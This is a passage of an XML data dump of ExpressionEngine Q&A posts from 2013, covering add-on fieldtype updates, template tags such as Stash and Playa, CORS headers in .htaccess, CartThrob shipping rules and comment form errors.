Tags="|add-on|ee2|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6344" PostTypeId="2" ParentId="6145" CreationDate="2013-02-14T10:58:31.073" Score="1" Body="&lt;p&gt;Although it isn't documented BKY is right, fieldtypes can have &lt;code&gt;update()&lt;/code&gt; methods. Here's the relevant bit of code from addons_fieldtypes.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Update if version changed&#xA;$version = $installed[$ft]['version'];&#xA;&#xA;if ($FT-&amp;gt;info['version'] &amp;gt; $version &amp;amp;&amp;amp; method_exists($FT, 'update') &amp;amp;&amp;amp; $FT-&amp;gt;update($version) !== FALSE)&#xA;{&#xA;    $this-&amp;gt;db-&amp;gt;update('fieldtypes', array('version' =&amp;gt; $FT-&amp;gt;info['version']), array('name' =&amp;gt; $ft));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As with other &lt;code&gt;update()&lt;/code&gt; methods you should return &lt;code&gt;TRUE&lt;/code&gt; if the update was a success and &lt;code&gt;FALSE&lt;/code&gt; if it's failed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($from)&#xA;{&#xA;    if ($from == MY_ADDON_CURRENT_VERSION) return FALSE;&#xA;&#xA;    if (version_compare($from, '1.1', '&amp;lt;'))&#xA;    {&#xA;        // Update Stuff&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd be happy to be proven wrong but don't think there are any helpers for retrieving/updating FT settings. You'd need to do all of the querying/serializing/base64 encoding* yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* Why, EllisLab, why?&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-02-14T10:58:31.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6345" PostTypeId="2" ParentId="6343" CreationDate="2013-02-14T11:18:59.583" Score="1" Body="&lt;p&gt;Low Freeform Field isn't compatible with FF4 (yet), so a quick fix is hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either look up where FF4 stores its field data (obviously not in &lt;code&gt;exp_freeform_fields&lt;/code&gt; anymore) and use that in the query inside ft.low_freeform_field.php. Or use FF3 if you must use LFFF.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-14T11:18:59.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6346" PostTypeId="2" ParentId="6343" CreationDate="2013-02-14T12:31:21.230" Score="2" Body="&lt;p&gt;I got it working:&#xA;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In third_party/low_freeform_field/&lt;strong&gt;ft.low_freeform_field.php at line 66&lt;/strong&gt;, change the query to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT field_name, field_label FROM exp_freeform_fields&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;&lt;strong&gt;at line 72&lt;/strong&gt;, change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options[$row['field_name']] = $row['field_label'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;that should do it.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-02-14T12:31:21.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6347" PostTypeId="1" AcceptedAnswerId="6351" CreationDate="2013-02-14T12:57:52.820" Score="4" ViewCount="432" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&quot;activity&quot;}&#xA;    {related_entries id=&quot;activity_location&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='locations'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/related_entries}&#xA;  {/exp:channel:entries}&#xA; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs all activities (activity) that have an activity location (activity_location is the channel field with the relationship), so I get multiple results which is fine, but a lot of these multiple results are the same. I want to only output one of each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example currently I'll get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;England, Wales, England, England, Wales, Scotland&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to simply output: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;England, Wales, Scotland&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-02-14T18:14:59.663" Title="Only outputting the same article once using relationships" Tags="|channel-entries|relationships|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6348" PostTypeId="2" ParentId="6295" CreationDate="2013-02-14T13:15:46.117" Score="2" Body="&lt;p&gt;Having gone round in circles for the best part of a day the issue was caused by a painfully simple issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .httaccess file was in the wrong place. Following best practice advise I have moved my system folder above the web root and have the .htaccess file at that level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead &lt;strong&gt;the .htaccess file should have been placed in the web root&lt;/strong&gt;. As soon as I moved it there everything worked as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My folder structure is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config&#xA;content &amp;lt;- web root&#xA;    *THIS IS where the htaccess file should be*&#xA;system&#xA;templates&#xA;*this is NOT where the htaccess file should be*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-14T13:15:46.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6350" PostTypeId="2" ParentId="6347" CreationDate="2013-02-14T13:50:37.447" Score="0" Body="&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; The solution I first posted (below) was for the unique entries that match 1 parent entry. This query should pull all unique entries for your channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&quot;activity&quot;}&#xA;    {exp:query sql=&quot;Select distinct t.title related_title, t.url_title related_url_title&#xA;                    from exp_relationships r join exp_channel_titles t&#xA;                    on r.rel_child_id = t.entry_id&#xA;                    where rel_parent_id in (Select entry_id from exp_channel_titles where channel_id = 1)&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/locations/{related_url_title}&quot;&amp;gt;{related_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:query}&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;channel_id=1&lt;/code&gt; with your channel's ID. Or use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Select distinct t.title related_title, t.url_title related_url_title&#xA;                        from exp_relationships r join exp_channel_titles t&#xA;                        on r.rel_child_id = t.entry_id&#xA;                        where rel_parent_id in (Select entry_id from exp_channel_titles tt join exp_channel w&#xA;                        on tt.channel_id = w.channel_id where w.channel_name = 'activity')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that works. The only site I have handy that uses native relationships is a 1.6.x site and the table/field names are different, so I'm writing the queries one way and then fixing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As was suggested in another answer, &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates&quot; rel=&quot;nofollow&quot;&gt;Playa offers many more options&lt;/a&gt; for this sort of thing, and &lt;a href=&quot;http://pixelandtonic.com/playa/docs/conversion&quot; rel=&quot;nofollow&quot;&gt;conversion instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First posting, that pulled related entries for 1 entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&quot;activity&quot;}&#xA;    {exp:query sql=&quot;Select t.title related_title, t.url_title related_url_title&#xA;                    from exp_relationships r join exp_channel_titles t&#xA;                    on r.rel_child_id = t.entry_id&#xA;                    where rel_parent_id = {entry_id}&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/locations/{related_url_title}&quot;&amp;gt;{related_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:query}&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The exp_relationships table is pretty straightforward.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-14T18:14:59.663" LastActivityDate="2013-02-14T18:14:59.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6351" PostTypeId="2" ParentId="6347" CreationDate="2013-02-14T13:55:23.627" Score="4" Body="&lt;p&gt;Unless this is a really simple site I would highly recommend switching to Playa relationships - you'll have lots more flexibility as the site grows. However, if you want to stick with native relationships, try using the &lt;code&gt;unique&lt;/code&gt; parameter offered by &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;'s &lt;code&gt;get_list&lt;/code&gt;. Something like this works, whilst having the added benefit of keeping your markup cleanly separated from the data fetching part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;locations&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;activity&quot;}&#xA;    {related_entries id=&quot;activity_location&quot;}&#xA;        {stash:location}{title}{/stash:location} &#xA;        {stash:url}{url_title_path='locations'}{/stash:url}                       &#xA;    {/related_entries}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;  {exp:stash:get_list unique=&quot;yes&quot; name=&quot;locations&quot;}&#xA;     &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{location}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-02-14T14:28:27.143" LastActivityDate="2013-02-14T14:28:27.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6352" PostTypeId="1" CreationDate="2013-02-14T15:08:07.117" Score="2" ViewCount="146" Body="&lt;p&gt;What I have (simplified) in my template is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;email&quot; name=&quot;order_email&quot; value=&quot;{order_email}&quot;&amp;gt;&#xA;{if logged_out}&#xA;    &amp;lt;label&amp;gt;{field:register_member} Create an account&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And some more fields for address, shipping, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check the checkbox generated by {field:register_member} I expect my useraccount to be created after submitting my order. Everything works correctly: I receive the e-mail confirmation and the order is correctly stored in the database. But my useraccount is not created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the documentation at &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/checkout_tag.html#registering_members&lt;/a&gt; but the example seems to be wrong, in the text above the example it states the password field is mandatory. In the example it's optional. But I have both the password and password_confirm fields, so that shouldn't be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be wrong? &lt;/p&gt;&#xA;" OwnerUserId="414" LastActivityDate="2013-02-15T08:55:26.157" Title="Expresso Store not registering memberaccount on checkout" Tags="|expresso-store|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6353" PostTypeId="1" AcceptedAnswerId="6355" CreationDate="2013-02-14T16:21:09.743" Score="1" ViewCount="1107" Body="&lt;p&gt;I am using a Freeform Pro form where the user can edit a numeric field (number of of places booked for an event). When they click on submit, they are sent to a processing template to do the calculation in order to update the remaining number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the processing template that's doing the calculation, I can always access the new number set by the user in the freeform form ({freeform:field:numberofplaces}).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is the number of places booked before the edit. I am trying to save it in a php variable like this on the edit freeform edit page: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $numPlacesBeforeEdit = {freeform:field:numberofstudents};&#xA;  ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I pass this variable from the edit page to the processing template (the freeform edit page &quot;return&quot; is set to go to the processing template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-02-15T12:30:33.227" Title="How to pass php variable from one EE template to another" Tags="|templates|php|variable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6354" PostTypeId="2" ParentId="6323" CreationDate="2013-02-14T17:01:10.927" Score="1" Body="&lt;p&gt;Have you tried that outside of the channel entries tag?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;playafield&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; site=&quot;default_site&quot;}&#xA;&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try the above code alone in your template.  Does that give you the output you need?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-14T17:01:10.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6355" PostTypeId="2" ParentId="6353" CreationDate="2013-02-14T17:17:39.417" Score="0" Body="&lt;p&gt;Someone suggested using Stash and that works. Any other ideas are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; for Yuri Salimovskiy: &#xA;My &quot;edit form&quot; where the user is changing the number of seats they require, on submit goes to a processing template that updates the relevant field with the new number. My problem was &quot;how do I  I need to keep track the original number before the user changed it&quot; as I need both the new number and the original in the processing template to workout how many seats are left from the total available. So &quot;saved&quot; the original number if the form (e.g.  {exp:stash:set name=&quot;numStudentsBeforeEdit&quot; save=&quot;yes&quot; scope=&quot;site&quot;}{freeform:field:numberofstudents}{/exp:stash:set}) and I accessed in the processing template like this {exp:stash:get name=&quot;numStudentsBeforeEdit&quot; scope=&quot;site&quot;}. Hope this makes sense.&lt;/p&gt;&#xA;" OwnerUserId="789" LastEditorUserId="789" LastEditDate="2013-02-15T12:30:33.227" LastActivityDate="2013-02-15T12:30:33.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6356" PostTypeId="1" AcceptedAnswerId="6357" CreationDate="2013-02-14T17:19:20.413" Score="3" ViewCount="1289" Body="&lt;p&gt;I need to enable cross-domain AJAX requests on my site, while limiting the cross-domain access to a particular template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This template is in its own template group, so the requests from the script would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/embeddable-content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this in my .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this grants access across the entire domain. How would I go about restricting access to the single template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled around, but this is slightly out of my bailiwick, and I figure there my be complications because of EE's file structure (or lack thereof).&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2015-06-23T15:08:50.133" Title="ExpressionEngine and CORS?" Tags="|htaccess|security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6357" PostTypeId="2" ParentId="6356" CreationDate="2013-02-14T18:59:16.977" Score="6" Body="&lt;p&gt;If you're only allowing access to a single template, I'd imagine the easiest way would be to use PHP's header to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Access-Control-Allow-Origin: *');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of the template&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-02-14T18:59:16.977" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6358" PostTypeId="1" AcceptedAnswerId="6359" CreationDate="2013-02-14T19:42:30.547" Score="2" ViewCount="113" Body="&lt;p&gt;I have a site where I have 2 product channels: one for webinar registrations, the other for physical products to ship (and in the future we will offer digital downloads so I'll be creating a channel for that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shipping settings are site-wide, I can't simply enable quantity specific shipping for just the physical products. However I know you can specify Shipping Per Item and I can create a field for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how would that field be set up if the shipping rules are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Qty&lt;/strong&gt; 1-2 $10&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Qty&lt;/strong&gt; 3-5 $20&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Qty&lt;/strong&gt; 6+ $35&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can create a matrix field of 2 columns, I guess, with these details, but how can CartThrob automatically figure out that there's 2 of this particular item and only add shipping for THAT item based on that quantity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And ONLY for this channel. Other channels are automatically zero shipping because a) registration and b) digital download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-02-14T20:19:02.487" Title="Channel Specific Shipping based on Quantity Threshold" Tags="|cartthrob|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6359" PostTypeId="2" ParentId="6358" CreationDate="2013-02-14T20:13:40.180" Score="2" Body="&lt;p&gt;Sure thing Lea - just make sure that when each of the items in the other (non-physical) channels get added to the cart, they have the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html#shipping_exempt&quot; rel=&quot;nofollow&quot;&gt;shipping_exempt&lt;/a&gt; parameter (I believe this parameter used to be called &lt;code&gt;no_shipping&lt;/code&gt;) set to &lt;code&gt;yes&lt;/code&gt;. They will then be excluded from the quantity-based shipping calculations.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-02-14T20:19:02.487" LastActivityDate="2013-02-14T20:19:02.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6360" PostTypeId="1" AcceptedAnswerId="6371" CreationDate="2013-02-14T20:16:22.163" Score="2" ViewCount="145" Body="&lt;p&gt;I'm not sure how long this has been happening, but I realized today that the comment form on a site of mine is throwing this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The form you submitted contained the following errors&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The name field is required&#xA;  The email field is required&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is happening even when both fields are filled out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code is here: &lt;a href=&quot;http://pastie.org/6168028&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/6168028&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this would be happening?&lt;/p&gt;&#xA;" OwnerUserId="1016" LastEditorUserId="150" LastEditDate="2013-02-15T09:18:33.463" LastActivityDate="2013-02-15T09:18:33.463" Title="Comment form throwing &quot;this field required&quot; on submit" Tags="|comment-form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6361" PostTypeId="1" CreationDate="2013-02-14T20:25:10.310" Score="2" ViewCount="331" Body="&lt;p&gt;We have a number of client sites which are pretty much always evolving so we often find ourselves in a place where we're adding new structure and content to a site and trying to adjust the existing structure and content whilst the client may also be publishing new content or editing existing content!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously we've approached this using a number of different methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Creating a 'dev' server on which we carry out the development but we then have to mirror all edits and amends to the live server at a later date to avoid trashing any new content on the live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Working new developments into temporary 'template groups' and 'channels' and then adjusting the template group names and channel names accordingly once we're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Using conditionals in live templates to allow a logged in admin to preview changes without us having to resort to a full staging server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has to be a better way to do this, some way to marry ongoing site development (changes to templates, sections, fields and content) with a database full of live changing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I would be interested in solutions for both EE1.x and EE2.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your time! :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-02-15T01:54:32.980" Title="Better workflow for ongoing site development" Tags="|development|workflow|" AnswerCount="1" CommentCount="2" ClosedDate="2013-02-16T03:03:16.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="6363" PostTypeId="1" AcceptedAnswerId="6454" CreationDate="2013-02-14T20:26:01.747" Score="2" ViewCount="234" Body="&lt;p&gt;I am developing a custom field type which needs to display fields from two different channels in the CP Edit and Publish pages. Users of this field type will need to edit the data from those different channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the data is from a text field it is relatively easy to display it and allow users to edit. However this gets more difficult if I need to display data from a relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read through the developer add-on docs but can't figure out a method of displaying data using another field type within my own. Is there a way of displaying another field type within my custom one?&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2013-02-16T20:13:06.810" Title="Methods of including other EE fields in a custom field type" Tags="|custom-fields|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6365" PostTypeId="2" ParentId="6299" CreationDate="2013-02-14T20:54:28.997" Score="1" Body="&lt;p&gt;I'm pretty sure that using Mo Variables (&lt;a href=&quot;https://github.com/rsanchez/mo_variables&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/mo_variables&lt;/a&gt;) to receive a POST value from a form you could then perform a simple EE comparison on the session var (that you're setting with the Session Variables plug-in) and the POST var. You could then show/hide content based on the result of that or redirect the user back to the page from which they came.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Anna suggested you could also use some jQuery to compare the value in the promo field with a hidden field elsewhere on the page.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-02-14T20:54:28.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6367" PostTypeId="2" ParentId="6324" CreationDate="2013-02-14T21:49:13.477" Score="0" Body="&lt;p&gt;let's try storing the date_booked_for as custom item_options data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your add to cart form replace this line...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;date_booked_for&quot; value=&quot;{course_date}&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[date_booked_for]&quot; value=&quot;{course_date}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your email notification template you can output the custom item option within the order_items tag pair as shown below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:submitted_order_info}&#xA;    {order_items}&#xA;        {item:date_booked_for}&#xA;    {/order_items}&#xA;{/exp:cartthrob:submitted_order_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2013-02-15T15:39:53.630" LastActivityDate="2013-02-15T15:39:53.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6368" PostTypeId="2" ParentId="6356" CreationDate="2013-02-14T22:09:03.560" Score="4" Body="&lt;p&gt;You should be able to do this in htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  SetEnvIf Request_URI &quot;^/index.php/embeddable-content(/.*)?&quot; CORS=TRUE&#xA;  Header set Access-Control-Allow-Origin &quot;*&quot; env=CORS&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This'll only set the CORS header when your request matches that URI.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-14T22:09:03.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6369" PostTypeId="1" AcceptedAnswerId="6407" CreationDate="2013-02-14T22:19:00.500" Score="0" ViewCount="211" Body="&lt;p&gt;Using Assets 2.0.5 on EE2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I remove index.php using Ellislab's official method Assets simply stops working.&#xA;It's hard to explain without screenshots, but on existing entries all thumbs are gone and when you click add or remove file in an entry form you simply get a blank screen.&#xA;More specifically what especially seems to trigger it, is leaving &quot;Name of your site's index page&quot; blank, the htaccess file doesn't seem to be the issue. More specific if I make Name of your site's index page blank, the behaviour happens, if I put index.php back it's working fine, even with the htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-02-14T22:25:29.493" LastActivityDate="2013-02-15T14:30:49.473" Title="Assets2 borked after removing index.php (official Ellislab method)" Tags="|assets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6370" PostTypeId="1" AcceptedAnswerId="6373" CreationDate="2013-02-14T22:31:12.977" Score="1" ViewCount="437" Body="&lt;p&gt;I have a CSV that I need to import in a Channel. The CSV contains an id column that is used as part of a naming convention for a series of images associated with each row. For example, say the id was ABC123, then I might have the following images:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ABC123_001.jpg&lt;/li&gt;&#xA;&lt;li&gt;ABC123_002.jpg&lt;/li&gt;&#xA;&lt;li&gt;ABC123_003.jpg&lt;/li&gt;&#xA;&lt;li&gt;ABC123_025.jpg&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How could I import the CSV and the images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The images are in a Matrix field with one mandatory column: the file field.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-02-14T22:42:41.773" LastActivityDate="2013-03-16T23:43:12.627" Title="Importing CSV/JSON/XML + images" Tags="|add-on|add-on-development|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6371" PostTypeId="2" ParentId="6360" CreationDate="2013-02-14T22:31:23.913" Score="3" Body="&lt;p&gt;Have you tried adding names to your form fields that correspond to the EE comment fields? I believe these would be required for the form to work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;name&quot; type=&quot;text&quot; id=&quot;comment_name&quot; placeholder=&quot;Enter your name.&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;email&quot; type=&quot;email&quot; id=&quot;comment_email&quot; placeholder=&quot;Enter your email.&quot;&amp;gt; ...etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="580" LastActivityDate="2013-02-14T22:31:23.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
